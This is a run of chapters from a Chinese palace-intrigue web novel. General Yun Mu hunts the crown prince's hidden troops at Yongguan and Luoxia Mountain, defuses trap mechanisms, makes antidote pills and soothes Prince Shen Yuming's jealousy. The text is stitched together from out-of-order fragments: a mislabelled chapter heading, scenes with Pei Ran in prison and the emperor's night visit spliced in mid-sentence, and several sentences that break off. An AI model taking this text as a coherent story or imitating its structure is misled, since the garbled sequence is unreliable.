云暮留了一人在此看守,余下之人都分散到林子中查看是否有人经过的痕迹。 火把掉落的松油落到地上,枯叶一触即燃,野火焚烧之下,云暮看清了周围的情况。 斑驳的树干上皆是刀剑砍出的痕迹,路边的泥土板结成块,而此处的却满是被磨出的细土。 今夜天清无云,月华冷冷地映在林中,又被沙沙作响的树叶挡住大半。即便如此,依旧能照清脚下之路。 寻了一圈,依旧没有发现有人来过的痕迹,云暮只好沿着山路一直向上,登至山顶之时,她命人熄了火把。 她俯瞰大半个墉关,将任何会有人经过的地方都映在脑中,然目之所及、耳之所闻的地方都无半点异常。 她从脚边捡起几块石头,手里运起内力,将石块砸向一棵树上。警惕的倦鸟振翅而出,四下逃窜。片刻之后,林子又重回宁静。 云暮自知找不到人,也没在此处空耗,她折返回去寻沈聿明,在分岔口遇见了同样刚回来的暗一。 云暮主动搭话:“暗一大人,你那边有何发现?” 暗一摇头:“并无,车辙很快便没了踪迹,又带人搜查了一番,就连一个陷阱都无。再查下去也是徒劳,于是我便先行回来了。你那边如何?” 云暮同样摇头,“和你那边差不多,但那处好像是他们平日训练之地,周围皆是刀痕,或许等明日一早再去那边探探。” 暗一道:“也只能如此了,如今人手不够,查起来恐怕会有遗漏,不如在天亮进宫让皇上决断。” 若说原先只是猜测,并无证据,但眼下人证物证俱在,太子是千万抵赖不得。即便暗一不语,云暮也早已决定进宫见梁文帝。 沈聿明见两人一同回来,身后并无生人,他便猜到两人寻不到任何东西,但这也在情理之中。 太子谋划多年,此次若非有人举了此事,又“恰好”在沙岭村见了那个“疯疯癫癫”的老妇,他们此刻想来还和无头苍蝇一般乱飞。 “怎么样?” 云暮侧身让出身后,“你自个瞧吧。” 沈聿明看也不看,可是抓着她的手把人上上下下都检查了一遍,确认她没有受伤后,他才抬手轻轻敲了敲她的额头:“我说的是你,与旁人有何关系?” 两人举止亲昵了一路,暗一对此已经激不出他的怒火了,他只默默地将头偏向一侧。 时间才到,云暮已经随着暗一主动往宫门口的方向走去。 到了勤政殿,云暮听着暗一正在和梁文帝报着这几日的所查到的东西。梁文帝问道:“你们想用什么办法封山?” 墉关不小,若要派兵驻扎,得寻到一个合适的理由。云暮说道:“皇上,不若以山匪凶残为由?” 这是她在来之前便已经想好的理由。 梁文帝默了许久,久到云暮都要以为对方不会答应之后,他才终于开口:“也并非不可,但外出赴任的官员还是得走官道。” “昨夜那些兵是从何处调来的?” 云暮不敢瞒,她说道:“城北禁卫队。” 梁文帝坐在龙椅上看着跪在下首的云暮,“朕记得,若无朕的谕旨,城北禁卫队是调查不出的。” 云暮早有预感,她从腰间的锦囊里拿出早早备好的天子令,双手奉在面前,“皇上您曾说,见此令犹如您亲临,禁卫队自然听从调遣。” 梁文帝依旧绷着脸,经了太子之事,他心中的防备早已如万丈高墙,凭谁说都不能撼动分毫。 “你先下去吧。” 云暮瞥了眼一声不吭的暗一后,缓缓退了出去,不知暗一是否会将沈聿明也参与一事告知。 但即便如此,她也依旧不畏惧,早在和沈聿明和好的那一天,她便已经想到了这种可能。 她才出来,吕梁便被喊进了勤政殿,“你去城南把那个出了名的孟煦玄进宫。” 吕梁应了声是,出门后隐晦地朝云暮看了一眼,又在暗中比划了一个动作。 云暮了然点头,接到继续站在门外当着门神。 梁文帝要找的人是禁卫军统领,云暮倒也不担心昨夜之事。徐文拿着她的令牌一路找到了禁卫军统领,此人又和沈聿明交好,他做伪证不难。 里头谈了什么他们不得而知了,只知暗一最后是和禁卫军统领一道出来。 没有任何动静,也没有宣她进去,云暮当真有些意外。 禁卫军统领不知事情原委,替她给了两个月的生活费也就罢了,现下替她和沈聿明打掩护,又瞒下沈聿明和禁卫队私交甚密之事, 第二百一十四章 喝了它 云暮在脑中搜寻着暗一的脸,习武之人体格不易变,又觉此人换过脸,将同样体格的人也在脑子里过了一遍,还是没有能对上的。 看着他的脸,年纪应该与梁文帝差不了太多。平日里多在暗处行走,对于她的身份,他知道多少?他到底想做什么? “大人,皇上请您进去。” “大人……” 一次不应,吕梁又复喊了一遍,云暮才有反应。 “皇上。” 见梁文帝笑着朝她招手,云暮不喜也只得先压下,“朕都听说了,一连奔波数地,还遭行刺,你昨儿夜里辛苦了。” 云暮垂眸道:“都是为了解皇上的心头大患,还朝堂清明,昨夜众士兵也同微臣一道在墉关守了一夜,臣不敢居功。” 梁文帝朗声大笑,“朕如何不知?只是在朕这里,云卿你与他们不同。” 他边说边打量着云暮,见其只是面有疲色,他才略宽了几分心,又长叹了一声:“你如今许久才进一回宫里,朕总是看不见你,你的身体近来可还好?” 云暮不知梁文帝的葫芦里卖的什么药,不敢放松警惕,“多谢皇上关心,臣身体无碍。宫外事多且杂,臣虽久不进宫,但金吾卫也会誓死护住陛下。” 梁文帝无奈一笑:“你啊,油嘴滑舌。你已经是大将军了,那些小事都交由 门无声被人推开,“皇上,药膳好了。” 梁文帝点了点云暮:“给云卿。” 云暮接过汤盅,云暮轻搅两下,不过都是些寻常的药材,只是药味太重,压过了里头的肉味。 从前梁文帝也总爱赏她东西,只是后来因许多事情发生,云暮对他厌恶更甚,不愿再受他东西,梁文帝也赌气,忍着想要赏赐东西给他的冲动。 方才梁文帝听暗一说起遇刺一事,他心想,他何必跟一个毛头小子计较,等云暮知晓他和那些无权无势的人的差别后,自然会应了他,何故要闹这么僵? 云暮猜不透他的真实想法,“皇上?” “你喝了它,朕给你调兵的圣旨,调多少你说了算,朕方才已经和庞建说了,他那边的兵不够,你再从军营里调。” 云暮将药膳一饮而尽,伸手朝梁文帝讨要圣旨:“沙岭村的兵器少则都有几百,昨日赶到时,铁匠尚在打铁,太子殿下的人不在少数。皇上不如给微臣再多拟一道调兵的圣旨?” 梁文帝佯装发怒地将圣旨打在他的掌心,临落下时,又收住了力道:“你当调兵是吃饭喝水呢?不够再来和朕讨。今日搜山之事可交给庞建,你回府好好歇着。” 云暮却没有顺着他的意思接话,“一日不将反贼捉拿归案,臣的心一日不安。” 他本性倔强,认定之事就是撞倒南墙也要做,梁文帝只好道:“凡事别逞能,让手底下的人先去探个虚实。” 他不过一句关心之言,云暮却听出了旁的意思,她将药盅放到吕梁手中的托盘,朝梁文帝行了一礼:“谢皇上提点,微臣告退。” 出了勤政殿,她一眼就看到倚柱抱臂的暗一,难得的没有阴阳怪气。 将手中的圣旨抛给庞建:“庞统领,我能调用多少兵马?” 庞建忙不迭接过圣旨,“云将军,这可不兴抛,您想要多少告知我一声就是,皇上已经发话了,你便是把禁卫军都带走,我也不敢有二话。” 云暮笑道:“那云某恭敬不如从命了。” 庞建将看完的圣旨还给云暮,“成啊,我回去也收拾收拾,和您一道去墉关,论功行赏时,云将军莫忘了替我讨要一份就行。” 说罢,他凑近云暮,小声问道:“墉关何时来了山匪?一点风声都没有。” 云暮耸了耸肩,“谁知道呢,若不是昨夜遇到歹人行凶,我也还被蒙在鼓里。” 她叹了一声:“只是可怜了住在那一片的百姓,为了活命,举家迁离故土。” 她话里真假掺半,梁文帝也只说了剿灭山匪一事,庞建将信将疑,他看了一眼跟在他们身旁的暗一,低声问云暮:“这位大人从前未曾见过,他是何官职?如何称呼?” 云暮扫了暗一一眼,“谁知呢,许是个混吃等死的闲散之人罢。” 到了禁卫军大营,云暮又点了昔日镇北侯的手下,她来之前曾向沈聿明讨了份名单。 来时不过三人,回墉关时带了近两千人,若不是想着留些人守着京城,云暮恨不能将禁卫军都带往墉关。 出城之后,暗一驱马上前,离她不过三步远,云暮又想起今日之事。她不想陷入被动的局面,但主动去问只会暴露得更多,只能频频瞥着身旁之人。 暗一要比旁人敏锐不少,他察觉到云暮探寻的目光,一直等着云暮开口,但对方只是一味的看,便再也没了旁的动作。 两人沉默走了一路,临近墉关时,暗一还是决定给云暮递上一个台阶:“云将军想问什么,直说就是。” 云暮若无其事地收回目光,看向已经被开拓好的入口,反问暗一:“暗一大人想让本将军问什么?” 不管问对方知不知晓她的身份,抑或是问和沈聿明相关之事,都只会暴露得更多,若万一是他梁文帝派来诈她的话呢?云暮不敢赌,也赌不起。 她手中马鞭一甩,飞奔的骏马扬了暗一一脸尘土。 待大军集结,云暮在各个关口都设了人,不论是谁经过,需得凭身份牌登记后才能放行。身份对不上者,皆被打做山匪,去诏狱转上一圈,解了嫌疑之后才能离去。 住在墉关一带的百姓敢怒不敢言,每每出门都得再三检查是否带有能证明身份之物。 但即便如此,云暮带人将半个墉关都翻了一遍,还是没有搜查到任何关于私兵的痕迹。 难不成人真的离开了墉关?但那些车辙又是怎么一回事?总不能是为了迷惑他们,才故意拉着板车走了一段路? 第二百一十五章 还能上天入地不成? 大军驻守在墉关,京城内依旧人群熙攘。 无人光顾的小摊后,两个一胖一瘦的男人正在低语交谈。 “听说了吗,云将军正带人在城外搜山。” “不就是剿匪吗?何至于闹出如此大的动静?” 那个瘦小的男人意味深长地说道:“这你就不懂了吧,剿匪直接杀上去就是,但我听说云将军带着人一寸一寸地搜山,只怕是在找些什么东西。” 好奇问道:“找什么?墉关还藏着宝贝?” 瘦小的男人隐晦地往旁边扫了一眼,这才炫耀似地开口道:“不是宝贝,我那禁卫军的兄弟说了,像是在找人。” 胖子思索了片刻,双掌一拍,笃定道:“定是墉关里藏了一位足不出户的美人,云将军在替皇上寻人呢!” 说着说着他咽了一下口水,“就是不知是什么样的绝色美人,值得这样大动干戈。”想着等会儿让瘦子替他看一会儿摊,他去花柳巷寻个乐子。 瘦子恨铁不成钢地戳着胖子的脑袋,“整日就知道想美人,活该你娶不到婆娘。” 他将声音压得更低,“听说是在找叛贼!” “叛贼?!” “墉关怎会有叛贼?!” 胖子被惊得没压住声音,幸而周围并无旁人。 一辆空空的的马车缓缓驶过,坐在前头老叟朝他们说道:“莫要胡说,这传出去可是杀头的重罪。不过就是剿匪,哪来什么叛贼?” “大人,南面寻过了,并无叛贼行踪。” “大人,西面已寻,亦无发现。” “大人,北面……” “大人,东面……” 云暮率几千余人,花了四五日的时间,白日顶着烈日在墉关一寸一寸翻查,夜间又打着火把守好各个关口,可谓是日夜搜查,但依旧寻不到私兵的踪迹。 若不是在林中找到他们训练时用过的木桩和木人,云暮都要以为是村长扯谎诓她了。她疲惫地捏了捏鼻根,把人挥退,“下去吧。” 营帐里,云暮面前摆着沙盘地图,身后是墉关及周边的山头的地图,手中的细棍有一下没一下地在木桌上轻点。 沈聿明进来时,看到的就是这一幕,他轻手轻脚地将食盒放在桌上,拿过云暮手中的细棍,“在想什么?” 云暮顺势把头埋进他怀中,雪松冷冽的气息抚平了她的浮躁,“那夜他们走不远,只是寻了这么多天,为何半点踪迹都没有?他们还能上天入地不成?” 沈聿明把人拦腰抱起,放在一旁的圈椅上,“听说你今儿早膳都没用就带着人去搜山了,先用了午膳再商议。” 云暮很快就移开了眼,恹恹地将下颌搁在桌边:“没心情。” 沈聿明端了碗藕汤坐在她身边,托起她的脸哄道:“云将军,给个面子喝一点吧,莲藕是荆州送来的七孔莲藕,草民煨了足足两个时辰,一眼都没敢眨。” 莲藕汤里零星飘着几朵油花,香味在营帐氤氲开来,云暮仍旧把头扭向一旁,“不想喝。” 闷哼声一闪而过,云暮却敏锐地捕捉到了,“怎么了?” 沈聿明若无其事地收回手:“无事。” 云暮手快地抓住他的手腕,定眼一看,果然发现了水泡和几道不易察觉的伤痕,想起他方才之言,云暮还有什么猜不到的? 她学着沈聿明的动作,把人按在椅中,“我去拿药箱。” 沈聿明企图争辩:“不过是小伤,不碍事,文竹上过药了。” 放在他掌心的脸闻不出一分药味,怕是只拿帕子略微一擦。云暮目光后移,把人定在椅上,“下次撒谎前记得拿金疮药泡水洗手。” 沈聿明:…… “别动。”即便只是一些小伤,云暮还是用纱布缠了两圈,“让下人去做即可,何必自己动手?” 她的指尖不时擦过掌心,沈聿明不自在的蜷着手指,“不一样。” 云暮的嘴张了又合,那句“有什么不一样”到底是没问出口。净了手后,她拿起剩下的空碗,给沈聿明也盛一碗,“既不一样,你也尝尝。” 两人同时将汤送入口中,面色是如出一辙的空白,云暮不信邪地又喝了一口,“王爷,你……是不是忘记放盐了?” 即便不想说,但沈聿明也已经喝了,云暮只好先问出了口。 沈聿明眼神私下乱瞟,“或……或许吧?临出锅前有人来寻了我,事一多就给忘了……” 都道君子远庖厨,在涿州的十几年,他早就练出了一身好厨艺。今日临时有人寻到王府来,他不得不去周旋。心烦意乱之下,竟忘了放盐。 云暮有意逗他,便学着他方才的语气:“草民煨了足足两个时辰,一眼都没敢眨。眼是没眨,人却走了。” 沈聿明拿过她的那碗汤:“别喝了,明儿再给你炖别的汤。” 云暮将碗拿了回来:“这几日肝火旺,得吃些清淡的,此汤正和我意。” 淡是淡了些,但味道也还不错,云暮毫不吝啬地夸了好几句,直把沈聿明夸得快要上了天。 闹了这么一出,云暮心情好了不少,就连饭都多用了几口。吃饱喝足后,她又回到沙盘后,推算着那些叛贼能躲在何处。 一个时辰的时间,想要无声无息地带着这么多兵器离去,并非易事,他们也只能躲在墉关。 只是人都躲在了何处? 沈聿明看着她身后的地图,忽而问道:“你用膳前说了一句什么话来者?” 云暮疑惑地看着他,“我说什么了?” 云暮回想着她说过的话,不是很确定地说道:“他们还能上天入地不成?” “上天……入地……” 云暮看向墉关北面的那座山,“王爷,您可还记得那个玉冠?” 沈聿明也注意到了落霞山,“你是说他们会藏在那里?” 云暮迟疑地点头,“前几日我曾拿过卢靖的画像给村长认,他运送兵器至入口时,曾见过对方。” “先前觉着墉关距离落霞山有些远,他们定然到不了,但如今个只有那儿是他们最佳的藏身之所。” 地二百一十五章 云暮不管不顾地闹了起来,质问裴然的从他们把人制住,再到去沙岭村,又从沙岭村至墉关也不过一个时辰的时间,不知他们约定了几时碰面,但太子的私兵最多也只有一个时辰的时间撤离。 这一个时辰,要带上兵器,要做好伪装,还要撤离墉关,一个时辰的时间,他们做不完。 火把在夜晚的山中甚是惹眼,他们怕被云暮的人发现,不敢点火把,他们的速度只会更慢。 云暮伸手捏着沈聿明的脸,笑道:“多谢王爷。” 沈聿明将脖子压低了几分,含糊道:“你就是这么对待你的恩人的?” 云暮捧着他的脸在他面颊上落下一吻:“奖励。” 将桌上的饭菜都收拾好后,云暮将几个副官叫了进来,“这几日一直搜不到人,想来是我们搜寻的方向错了。” 她点了点地图上的落霞山道:“他们或许会在此处。” 沈副官看着两者之间的路线道:“怎么远,他们怎会去落霞山?” 云暮却道:“他们常年在此处,等一会儿想必” “本将军不干了,现在就去勤政殿奏明皇上,来人,快来人,本将军招供!” 她每次都只让人放出一点线索,等裴然的人无功而返后,又再丢出一点。次次如此,裴然都快被逼疯了。今天她又闹了这一出,裴然更没有理由怀疑她了。 狱卒听到招供二字,拿起笔纸直奔牢房,才到门口又被裴然轰了出去。 云暮指着裴然大骂:“裴尚书,你既怀疑我,又拦我做什么?我去认罪不就正好遂了你们的愿吗?” “云将军这话可就冤枉我了……” 裴然耐着性子哄了几句,云暮已经油盐不进。眼看裴然已经没有耐心哄人,云暮顺着台阶下来了,但她还是要恶心裴然一句“裴大人可有查出是何人所为?” 裴然如今有求于她,就算不喜也只能压下。 “说来惭愧,我府上的小厮都是些手无缚鸡之力的普通人,追查的本事比不上金吾卫,不知……” 云暮双手打叉:“打住。裴大人,金吾卫是皇上的金吾卫,若要调拨金吾卫,须得有皇上的手谕,可不能擅自行事,不然明日就是您被参了。” 作为金吾卫的上将军,她只要一句话便可调拨金吾卫,但什么好处都没有就罢了,若是查不出幕后黑手,裴然只会把锅甩到她身上。 裴然的脸色有些难看,同一条船上的蚂蚱居然反水,他威胁道:“云大人,你如今和我在同一条船上,钱英已经背叛了你,再不把调查内库的人找出,我们谁都别想活!” 云暮故作害怕地抖了抖身子,“我胆小,裴大人可别吓唬我。云府的每一笔账的来去都记得一清二楚,皇上如今压着此案不查,我们都能相安无事。” “但如果有人拿到了云府的账本,发现了内库,你说是我活不了还是裴大人你活不了?” 裴然的脸色更黑了,“你想要什么?” 牢房里的那盏油灯猝不及防地灭了,云暮站在角落,整个人都被黑暗笼罩“救出钱英,还我清白,事成后还要给那几个替你做事的金吾卫一笔辛苦费。” 。 殿内摆满了冰盆,长长的白色纱帐在风中摇曳,梁文帝盘腿坐在床的正中间,身旁也摆了两个冰盆。 听到动静,他并未睁眼,不悦道:“朕不是说了不见人吗?” 云暮停住脚步,说道:“那微臣现在出去?” 梁文帝的眼瞬间睁开,他惊喜道:“云卿,你怎么来了?可是想通了?” 说罢,就要起身把人往床上带,动作间,胸前的衣襟大敞。 云暮暗道如今正用得上他,努力忍住厌恶:“微臣今夜来是想请皇上去看一出戏。” 意错会的梁文帝尴尬地停在原地,但这好歹是云暮第一次在夜间寻他,他问道“去看什么戏,去哪看?” 云暮往正殿走去,顺道带上了门:“皇上先换好衣物吧。” 云暮从窗户翻了出去,对上梁文帝期待的目光,她勾唇笑了笑:“皇上还是把您的人叫出来吧,微臣笨手笨脚的,恐伤了您。” 梁文帝急道:“朕信你。” 云暮抱着手臂,倚在窗边的小树上,好意提醒:“皇上,再不快些,就赶不上好戏了。” 暗一自身后走出,径直把梁文帝从里面带了出来,不等梁文帝发问,暗一就开口了“云大人,去何处?” “长乐宫。” 暗一带着梁文帝走得飞快,脚下半点动静都没有,树叶沙沙声响,月光映出的树影张牙舞爪地在墙上作乱。 到长乐宫外时,梁文帝问道:“你带朕来此处作甚?” “前阵子微臣发现了贵妃的一个秘密,今夜特邀皇上来看看。” 云暮说完,率先翻了过去,眼神隐晦地对上了不远处的一道视线。暗一紧随其后,因带了一个人,瓦片发出轻微的声响,云暮心里起了疑。 整个长乐宫都陷入了沉寂,漆黑一片,梁文帝的心里有一种不祥的预感。 云暮带着人往寝殿的方向走去,越走越近,殿中的声音也就传到了在场的几个习过武的人的耳里。 云暮无声地勾了勾嘴角,借着月光欣赏着梁文帝铁青的脸色,心中恶劣地想:若是他被贵妃的事刺激到气昏过去该有多好。 云暮把匕首插进窗台,慢慢地把紧闭的窗打开,而后把最前头的位置让给了梁文帝,殿中的声音越发清晰地传进他们的耳朵。 “贱妇!朕待你不薄,你竟如此回报朕!” 云暮也没想到梁文帝会突然出声。 床上正抱在一起难舍难分的两人同时看向声音的来源,贵妃尖叫了一声,扯过被子盖在光裸的身体上,伏在她身上的男子慌忙地下了床,胡乱地将衣服披在身上,捂着脸就想逃。 “抓住他。” 贵妃的这声尖叫把后罩房的人都惊醒了,红袖边系着扣子边往寝殿的方向走,“娘娘,怎么了?” 见殿外守夜的太监还靠着门睡得香甜,红袖晃了晃他。 第二百一十七章 解机关 “别动。” 云暮制止住他们想要救人的想法,从路旁捡起一块石头,在三人的身下砸出了一个大坑。 “这……” 土坑足足有两人宽,但挖得不算深。黑黢黢的洞口下,密密麻麻的断剑被人倒插在土里。机关未关,带着断剑不停上下,挂在半空的三人顿时不敢再挣扎,恐头顶树枝断裂。 一土坑为界,云暮在周围寻找机关,沈聿明则指挥他们将人救下。 “把人勾过来,慢慢放下。” “将军,那儿有个石盘。” 云暮不知石盘有何用途,想来是和机关相关,她命一人站于石盘上。 断剑起伏的速度放缓了,对面的杂草中升起一个小腿粗的毫不起眼的石墩子,上面还缀着一个圆环。 云暮搭弓拉箭朝圆环射去,铁器相撞发出“叮”的声音,然机关未停。 两人宽的石洞,单跳过去已是非常吃力,更何况还有断剑阻拦。 山路两旁皆是荆棘,将其砍去又要花费好一阵功夫。云暮看向那个碗口粗的树枝,“取根绳来。” 带着铁钩的绳索紧紧攀在树枝上,云暮用力扯动,树枝纹丝不动。 沈聿明抓住绳索:“你想荡过去?” 云暮示意他看向四周:“从两旁绕过去的路都被堵死了,开完路只怕剑也卷刃了,那时再窜出来一伙贼人,岂不是全军覆没?” 沈聿明剑眉微拧,指着一个不如旁人高大的士兵道:“你来。” 石墩就在土坑旁,一不小心就会被断剑所伤,亦不知旁边是否有机关,瘦小的士兵倒也不惧,顺着云暮的指点荡到了对面。 “不用落地,抓住圆环往这边拉。” 荡的速度太快,几次都没有抓到圆环,云暮也没有出声催促。又荡了好一会儿,他才抓住圆环,往云暮的方向拉。 随着他的动作,机关缓缓落回地下,两块铁板严缝密合地覆住土坑。 云暮拍了拍他的肩,问道:“你叫何名?回去后去沈副官那儿登记,论功行赏。” 李开眉梢都透着喜,“属下李开,谢云将军赏识。” 云暮虽说凶名在外,但对手下十分大方,从前只当是旁人迫于她的淫威吹捧,这几日无人不盼着今后能继续在她手底下当差。 “所有人戒备。” 一行人便拆机关边赶路,到落霞山脚时,足足走了一个半时辰,五百人的队伍有近四十人负伤,而几位副官此时也才带着队伍赶到。 沈副官永远远就看见了人,但瞧不真切,还当他们是叛贼,正要分散士兵包抄过去时,派去查探的人来报说是云暮。 他忙不迭地策马奔至云暮面前,“云将军。” 云暮看着面前的洞门,没有贸然前行。一路上拆了这么多机关,人真要躲在里面,他们没道理不重设机关。上回她带兵来得突然,卢家人又自以为他们行事隐秘,无人察觉,是以只是些简单的机关和毒烟。 那次之后,太子和卢靖或许会加些不一样的机关。过道窄小,像从前那样以箭射人是最简单的方法,云暮唯恐他们还设了毒烟。 她身上的解毒丹不过一瓶,也只有三十余颗,然此处的将士将近千人,一人半颗都无济于事。 见她踟蹰不前,沈聿明问道:“怎么了?” 云暮道:“还不知里面是何情况,现下还不能进去。” 她想起上回沈聿明守在另一头的洞口,并未进去,于是将带兵闯山洞一事全盘托出。 沈聿明听完心揪了好半晌,“你从未和我说过。” 事情过去太久,云暮早就不当回事了,她道:“这些对我来说都是寻常之事,左右也死不了。” 沈聿明面露不悦:“以后不许再说这种话,你得好好活着,也必须活着。”他想要和她有更长久的未来。 活着吗?她都不知道自己还能活多久,如今这副血气充足的模样,皆是靠着那一口汤药吊着。 云暮心头蒙上苦涩,强扯出一抹笑,故作轻松道:“好好好,都听你的。” 不知是不是她装得太像,就连多疑如沈聿明都没有怀疑,她长吐了一口气,和沈副官简单地说了一下里头的情况。 “今日是进不去了,你们守在此处,莫要轻举妄动,本将军一会儿回去制出解毒丹,一切都等本将军来了再说。” 人群里不乏不安分之人,云暮扫过他们,警告道:“若是有人贸然行事,私自带人闯进去,赔了你们的命小,坏了皇上的事大。若是有一个叛贼从你们守的地方逃走,本将军唯你们是问。” 牵扯到梁文帝,那些人暂时歇了心思。得罪云暮或许只是死一人,但得罪梁文帝可是要被诛九族。 落霞山能进出人的洞口共四个,三个副官及一个冯章各守着一个,云暮则和沈聿明回了京城。 采买药材,研制最简易却能解万毒的解毒丹,即便是几人一同制作,依旧忙不过来。 云暮对着窗边的那棵高大的桂树吹了两声哨子,一只灰鸽扑棱着翅膀,身下的爪子紧紧攀着她的手指。 她将一张早已写好的字条装进灰鸽脚腕上的小竹筒中,又用力将其往空中一抛。 她看向屋内忙碌的众人,不由感慨,“若是宋枫在就好了。” 正在研磨草药的沈聿明面色一僵,很快又恢复了自然,他凉凉地看了云暮一眼,一句话都没说。 屋内的伍华几人和宋枫很是要好,又许久未见,当即提起从前之事。 你一言,我一语,沈聿明默不作声地听着,偶尔还问上几句,伍华他们还当沈聿明已经放下芥蒂,说得更加起劲。 云暮认识沈聿明也不过两年,但和他待在一起久了,比伍华他们更容易察觉到沈聿明的情绪。 她以拳抵唇,咳了两声,“制个解毒丹还这般多嘴,可见还是不够累,既如此,一盏茶你们要指出……” 伍华几人听后哭天喊地,直呼云暮太过心狠,又转而看向沈聿明,企图让对方替他们求情。 沈聿明冲他们微微一笑,“自求多福吧。” 第二百一十八章 本王也要如此? 屋内的哀嚎声更大了,伍华挪着小步悄声来到沈聿明身边,“王爷,您替我们求个情,以后有关大人的过去,我们必定知无不言。” 今夜注定是个不眠夜,沈聿明也想着找些事来打发时间,伍华的话对他而言,诱惑实在太大,但一口应下并非他的风格,于是开始讨价还价。 “往后有关她的事也都得让本王知晓。” 伍华这下犹豫了,从前的事他真真假假说上几件,旁人也无从查证,只是真要将云暮的一举一动都告知沈聿明,他自是做不到的。 沈聿明也意识到有些强人所难,他又退了一步,“只说你们能说的,旁的什么秘密,你们想说也可,不想说也无碍。” 伍华这才应下,“一言为定。” 药房不大,伍华去寻沈聿明瞒不过云暮,见他们嘀咕了好一阵,云暮朝他们走去,“还能闲聊,看来还是……” 话都没说完,只见伍华朝她嘿嘿一笑,而后一溜烟地跑了,临走前,他还朝沈聿明隐晦地眨了一下眼。 “这是……” 沈聿明噢了一声,“没什么,只是他来找本王讨教些事。” 语气毫无起伏,云暮暗道不好。 在江南失忆的那段时间,见他和宋枫相处地还算融洽。恢复记忆后,三人在药王谷别过,她和沈聿明一道,而宋枫则继续在大梁各地游历。 回京后几乎无人再提宋枫,云暮又好长一段时间没和沈聿明待在一处,也就渐渐忘了沈聿明和宋枫不对付。 她拿过钵和沈聿明一道研磨草药,小心翼翼地问道:“王爷,你生气了?” 沈聿明扯出一个毫无感情的笑:“本王能生什么气?” 脸比锅底还黑,语气比冻了三尺深的冰还要冷,还没有生气?云暮想着不如和个稀泥。 “他早几年前就跟着我做事,又是几人中最小的一个,平日里是多关照了他一些,但若不是我教他辨药识药,先前在江南,王爷的命可就危在旦夕了。” 话一出口,云暮又后悔了。 果不其然,沈聿明的脸色更冷了,“依云将军的意思,本王还要携礼登门拜访,与他一笑泯恩仇?” 按理说确实该如此,但云暮不敢应是,“王爷言重了。” 嘴里是这么说,面上又是另一副表情,沈聿明心头的火又旺了几分,他恶狠狠地往一旁抓了一把干草药,恶狠狠地转着,力度大得似乎要把钵磨穿。 多说多错,云暮眼观鼻鼻观心,不敢再说。 还在一旁嘀咕的几人也被这两人的气氛所影响,交谈的声音愈发小,最后药房内只剩下磨药和熬药时炭火发出的噼啪声及沸腾的声音。 云暮反复觑着沈聿明,对方背对着她,她又以拿草药为由,不是坐在他面前就是坐在他身侧,但依旧不敢开口。 直到安叔带了三个人来传话,药房内的尴尬气氛才终于被打破。 “暮儿。” “属下见过大人。” 云暮猛然站起,起身出门相迎:“师父,你们来了。”辛百草身后跟着两个人,其中一个正是好几日没见的砚石,另一个人则是个眼生之人,脸上还缠了几圈纱布。 云暮绕着此人走了一圈,欣慰地说道:“回来了就好,你当真不和师父去江南?” 砚清坚定地摇头。 云暮看向辛百草和砚石,两人也都摇了摇头,“从醒来那日就一直劝他,但他只想留在京城替你办事。你人手都不够,莫要再把人往外赶了。” 云暮面色一红,“今夜之事当真是意外,若是知晓人有可能藏在落霞山,徒儿定早早备下了。” 临走了,辛百草没责怪她,而是拿出襻膊,将袖子细细收好后,他走进药房,“只是制些解毒丹?” 云暮赶着砚石送砚清回房歇息:“我等会儿看吧。” 辛百草行医这么多年,什么品质的药材都见过,眼下见了这些参差不齐的药材,他的嘴角微微抽搐。 “好歹也是个大将军,怎么尽用这些,难不成皇帝老……老是不给你发俸禄?” 他原本想说皇帝老儿,但碍于这是公事,身边还围了不少人。 这几日他为砚清的脸忙上忙下,鬼市虽已重开,不少人前来寻医问诊,但他实在分身乏术,只能暂且让那些非紧急的病患去外头找大夫,或是等他忙完手头之事。 回江南的日子越发近,他对外称不再替人看诊,这也是今夜为何能这么快就出现在云府。 云暮解释道:“那点俸禄也只能买两筐要,如何能够?明日早上便要进去了,今夜必须得备好。” 辛百草听后直摇头,手上动作飞快,“只是怕毒气太浓,这些解毒丹没有多大的用处。” 好的药材不是没有,做了这么多也只得了一小瓶,里头不过二十粒。 云暮道:“一人多发几颗也就罢了,里头若是真的有人,他们不会用太毒的东西,免得把他们自个儿也毒死。” 辛百草也只能随她,“为师再过几日就要回江南了,有什么需要师父做的事只管开口,今后若是有什么拿不定的病,也可写信给为师……” 絮絮叨叨地说了许多,辛百草依旧不放心,又事无巨细地和她交代事情。 云暮毫无不耐烦,都一一应下,药房里只剩下辛百草的声音和药物被捣磨时发出的声音。 不多时,砚石孤身一人回来了,云暮见状,问道:“他歇下了?” 砚石应了一声,“歇下了,兄长一切都好,大人不用忧心。” 又多了两人相助,制丹药的速度快上不少,勉强够用。 此时月亮西沉,挂在树梢上欲坠不坠,云暮接过最后一瓶丹药,疲惫不堪的面庞终于多了一丝笑容。 此刻离解除宵禁还有还几个时辰,云暮早早让人收拾出了几间干净的房间。 “委屈你们如此睡上一晚了。” 伍华摆摆手,“风餐露宿也不是没经历过,这些都不算什么。” 沈聿明扫了一眼地上的床褥,“本王也要如此?” 第二百一十九章 被发现了 “偌大的云府,连几间屋子都收拾不出来吗?” 从云暮提到宋枫开始,沈聿明一直憋着股气,等着她的解释,但她说的都是什么话? 宋枫救了他不假,携礼登门也是应该,这些他都知晓,他想要的不过是云暮哄他几句罢了。 没等到她的软话,反倒是她师父辛百草来了,人一来她就暗自松了一口气,还当他没瞧见,再回来时,又是一副若无其事的模样。 宁愿去关心一个他从未见过的人都不愿哄他,他怎能不气? 云暮好声解释:“他们几个说许久没有坐下一起叙旧,我才命人收拾出这间房,您的不在此处。” 沈聿明听后扭头就走,“带路,本王乏了。” 云暮叹了一声,几步跟上沈聿明,直到身后的视线消失,她试探地拉住沈聿明背在身后的手,“明熹,你还在生气?” 听到那声明熹,沈聿明的气已经消了大半,但还是一言不发。 云暮将手指插入沈聿明的指缝,与他十指相扣,“我一直把宋枫当做弟弟,我同他真的什么都没有。” 沈聿明想起他们的过往就牙痒,“你是问心无愧,那他呢?你对他百般纵容,这才纵他生出了异心。他若是知晓你的身份,如今你身边的人就该是他了吧。” 云暮傻眼了,这也能怪到她头上? 在沈聿明之前,从未有人怀疑过她的身份,她心里装的是复仇,从未想过与人花前月下,更想不到宋枫对她还有旁的心思。 藏在园中角落的蛙应景地“呱呱”叫了两声,不知是在笑她还是在替她喊冤。 云暮试图解释,又恐火上浇油,绞尽脑汁思考了片刻,她气势汹汹地拉着沈聿明走到那棵梅树下,抬手将人困住。 她拉过沈聿明的手放在心口,严肃道:“王爷,不知我要怎么做才能让你明白我的心意,但我还是想告诉你,我心里只有你一个人。” 